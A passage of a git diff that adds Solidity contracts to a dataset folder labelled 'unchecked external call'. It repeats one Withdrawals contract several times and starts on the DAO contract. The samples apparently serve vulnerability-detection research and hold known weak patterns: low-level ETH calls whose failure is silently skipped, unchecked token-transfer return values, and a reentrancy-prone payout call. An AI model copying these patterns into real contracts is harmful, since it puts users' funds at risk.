value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44810.sol b/smart_contract_dataset/unchecked external call/44810.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44810.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44812.sol b/smart_contract_dataset/unchecked external call/44812.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44812.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44813.sol b/smart_contract_dataset/unchecked external call/44813.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44813.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44815.sol b/smart_contract_dataset/unchecked external call/44815.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44815.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44821.sol b/smart_contract_dataset/unchecked external call/44821.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44821.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44850.sol b/smart_contract_dataset/unchecked external call/44850.sol new file mode 100644 index 0000000000000000000000000000000000000000..9f54a52e8823231d95a4c4efad85263c27181116 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44850.sol @@ -0,0 +1,1238 @@ +// 0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code + +/* + +- Bytecode Verification performed was compared on second iteration - + +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic, standardized Token contract with no "premine". Defines the functions to +check token balances, send tokens, send tokens on behalf of a 3rd party and the +corresponding approval process. Tokens need to be created by a derived +contract (e.g. TokenCreation.sol). + +Thank you ConsenSys, this contract originated from: +https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol +Which is itself based on the Ethereum standardized contract APIs: +https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs +*/ + +/// @title Standard Token Contract. + +contract TokenInterface { + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + /// Total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) constant returns (uint256 balance); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from` + /// @param _from The address of the origin of the transfer + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); + + /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on + /// its behalf + /// @param _spender The address of the account able to transfer the tokens + /// @param _amount The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _amount) returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens of _owner that _spender is allowed + /// to spend + function allowance( + address _owner, + address _spender + ) constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); +} + + +contract Token is TokenInterface { + // Protects users by preventing the execution of method calls that + // inadvertently also transferred ether + modifier noEther() {if (msg.value > 0) throw; _} + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function transfer(address _to, uint256 _amount) noEther returns (bool success) { + if (balances[msg.sender] >= _amount && _amount > 0) { + balances[msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(msg.sender, _to, _amount); + return true; + } else { + return false; + } + } + + function transferFrom( + address _from, + address _to, + uint256 _amount + ) noEther returns (bool success) { + + if (balances[_from] >= _amount + && allowed[_from][msg.sender] >= _amount + && _amount > 0) { + + balances[_to] += _amount; + balances[_from] -= _amount; + allowed[_from][msg.sender] -= _amount; + Transfer(_from, _to, _amount); + return true; + } else { + return false; + } + } + + function approve(address _spender, uint256 _amount) returns (bool success) { + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic account, used by the DAO contract to separately manage both the rewards +and the extraBalance accounts. +*/ + +contract ManagedAccountInterface { + // The only address with permission to withdraw from this account + address public owner; + // If true, only the owner of the account can receive ether from it + bool public payOwnerOnly; + // The sum of ether (in wei) which has been sent to this contract + uint public accumulatedInput; + + /// @notice Sends `_amount` of wei to _recipient + /// @param _amount The amount of wei to send to `_recipient` + /// @param _recipient The address to receive `_amount` of wei + /// @return True if the send completed + function payOut(address _recipient, uint _amount) returns (bool); + + event PayOut(address indexed _recipient, uint _amount); +} + + +contract ManagedAccount is ManagedAccountInterface{ + + // The constructor sets the owner of the account + function ManagedAccount(address _owner, bool _payOwnerOnly) { + owner = _owner; + payOwnerOnly = _payOwnerOnly; + } + + // When the contract receives a transaction without data this is called. + // It counts the amount of ether it receives and stores it in + // accumulatedInput. + function() { + accumulatedInput += msg.value; + } + + function payOut(address _recipient, uint _amount) returns (bool) { + if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) + throw; + if (_recipient.call.value(_amount)()) { + PayOut(_recipient, _amount); + return true; + } else { + return false; + } + } +} +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* + * Token Creation contract, used by the DAO to create its tokens and initialize + * its ether. Feel free to modify the divisor method to implement different + * Token Creation parameters +*/ + + +contract TokenCreationInterface { + + // End of token creation, in Unix time + uint public closingTime; + // Minimum fueling goal of the token creation, denominated in tokens to + // be created + uint public minTokensToCreate; + // True if the DAO reached its minimum fueling goal, false otherwise + bool public isFueled; + // For DAO splits - if privateCreation is 0, then it is a public token + // creation, otherwise only the address stored in privateCreation is + // allowed to create tokens + address public privateCreation; + // hold extra ether which has been sent after the DAO token + // creation rate has increased + ManagedAccount public extraBalance; + // tracks the amount of wei given from each contributor (used for refund) + mapping (address => uint256) weiGiven; + + /// @dev Constructor setting the minimum fueling goal and the + /// end of the Token Creation + /// @param _minTokensToCreate Minimum fueling goal in number of + /// 